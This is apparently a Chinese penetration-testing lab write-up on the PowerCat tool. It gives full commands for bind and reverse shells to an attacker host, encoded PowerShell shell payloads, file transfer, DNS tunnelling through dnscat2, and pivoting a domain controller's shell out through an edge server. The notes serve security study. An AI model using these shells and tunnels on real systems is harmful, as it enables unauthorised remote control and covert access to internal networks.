天天看点

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

写在前面:PowerCat是PowerShell版本的nc,主要用于windows平台。

文章目录

  • 1 实验环境
  • 2 下载与部署
    • 2.1 下载
    • 2.2 导入
  • 3 使用方法
    • 3.1 nc 正向连接PowerCat
      • 3.1.1 边界服务器
      • 3.1.2 攻击机
    • 3.2 PowerCat 反向连接nc
      • 3.2.1 攻击机
      • 3.2.2 边界服务器
    • 3.3 文件传输
      • 3.3.1 接收方
      • 3.3.2 发送方
        • 边界服务器
    • 3.4 生成PowerShell payload
      • 3.4.1 正向shell
      • 3.4.2 反弹shell
    • 3.5 PowerCat DNS 隧道通信
      • 3.5.1 下载与部署
      • 3.5.2 使用方法
        • 攻击机
        • 受害机
    • 3.6 内网转发
      • 3.6.1 nc作为服务端(TCP协议)
    • 3.6.2 dnscat作为服务端(dns协议)

1 实验环境

kali(攻击机,外网地址:192.168.8.48)

Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10)

CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)

DC(内网地址:10.1.1.2)

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

2 下载与部署

2.1 下载

下载地址:https://github.com/besimorhino/powercat

2.2 导入

Import-Module .\powercat.ps1
           

可能会出现ps权限不足的情况:

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

修改ps权限后再导入(需要管理员权限):

Set-ExecutionPolicy Unrestricted
y
Import-Module .\powercat.ps1
           
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

3 使用方法

3.1 nc 正向连接PowerCat

3.1.1 边界服务器

Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10)

powercat -l -p 4444 -e cmd.exe -v
# 监听4444端口
powercat -l -p 4444 -ep -v
# 回连powershell
           
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

3.1.2 攻击机

kali(攻击机,外网地址:192.168.8.48)

nc 192.168.8.57 4444 -vv
           
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

3.2 PowerCat 反向连接nc

3.2.1 攻击机

kali(攻击机,外网地址:192.168.8.48)

nc -l -p 4444 -vv
# 监听4444端口
           
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

3.2.2 边界服务器

Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10)

powercat -c 192.168.8.48 -p 4444 -v -e cmd.exe
# 返回cmd
powercat -c 192.168.8.48 -p 4444 -v -ep
# 返回powershell
           

返回cmd:

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

kali上成功接收:

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

返回powershell:

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

3.3 文件传输

3.3.1 接收方

DC(内网地址:10.1.1.2)

powercat -l -p 4444 -of C:\Windows\Temp\1.txt -v
# -of:文件储存位置及名称
           
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

3.3.2 发送方

边界服务器

Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10)

powercat -c 10.1.1.2 -p 4444 -i C:\Windows\Temp\1.txt -v
# -i:文件发送路径及名称
           
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

可在里面追加内容,如果不需要追加,Ctrl+C传输结束。

3.4 生成PowerShell payload

连接方式同上,正向nc连接powercat,反向powercat反弹到nc。只是将受害机的执行方式变为了ps脚本。

主要用到的参数:

-g:生成powershell payload
-ge:生成经过编码的payload
# 经过编码的payload利用方式:powershell -E 编码后的payload
           

3.4.1 正向shell

  1. 生成payload:
powercat -l -p 4444 -e cmd.exe -v -g >> shell.ps1
# -p指定监听端口
           
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法
  1. 在受害机执行payload:
    【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法
  2. kali正向连接:
nc 192.168.8.57 4444 -vv
           
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

3.4.2 反弹shell

  1. kali开启监听
nc -l -p 4444 -vv
           
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法
  1. 生成反弹shell payload:
powercat -c 192.168.8.48 -p 4444 -v -e cmd.exe -g >> shell.ps1
           
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

3. 执行payload:

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

3.5 PowerCat DNS 隧道通信

powercat的dns通信服务端是基于dnscat设计的,所以需要先安装服务端。

3.5.1 下载与部署

dnscat下载地址:https://github.com/iagox86/dnscat2/tags

kali(攻击机,外网地址:192.168.8.48)

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
           
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

3.5.2 使用方法

攻击机

kali(攻击机,外网地址:192.168.8.48)

ruby dnscat2.rb ttpowercat.test -e open --no-cache
           
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

受害机

Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10)

powercat -c 192.168.8.48 -p 53 -dns ttpowercat.test -e cmd.exe
           
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

kali成功接收到一个session,session为1,输入

进入会话即可:

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

3.6 内网转发

假设kali(攻击机,外网地址:192.168.8.48)拿到了Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10),通过Windows2012又拿到了DC(内网地址:10.1.1.2)的权限,但是DC不出网,这时可以利用Windows2012作为跳板机将DC的shell转发到kali上。

3.6.1 nc作为服务端(TCP协议)

DC(内网地址:10.1.1.2)

powercat -l -v -p 4444 -e cmd.exe
# 监听4444
           
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10)

powercat -l -v -p 5555 -r tcp:10.1.1.2:4444
# 监听5555
           
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

kali(攻击机,外网地址:192.168.8.48)

nc 192.168.8.57 5555 -vv
           

成功获取到DC的shell:

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

3.6.2 dnscat作为服务端(dns协议)

kali(攻击机,外网地址:192.168.8.48)

ruby dnscat2.rb ttpowercat.test -e open --no-cache
           
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10)

powercat -l -p 4444 -r dns:192.168.8.48::ttpowercat.test
# 监听4444发送给攻击机
           
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

DC(内网地址:10.1.1.2)

powercat -c 10.1.1.10 -p 4444 -e cmd.exe -v
# 将shell反弹给跳板机
           
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

成功获得DC的shell:

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】1 实验环境2 下载与部署3 使用方法

继续阅读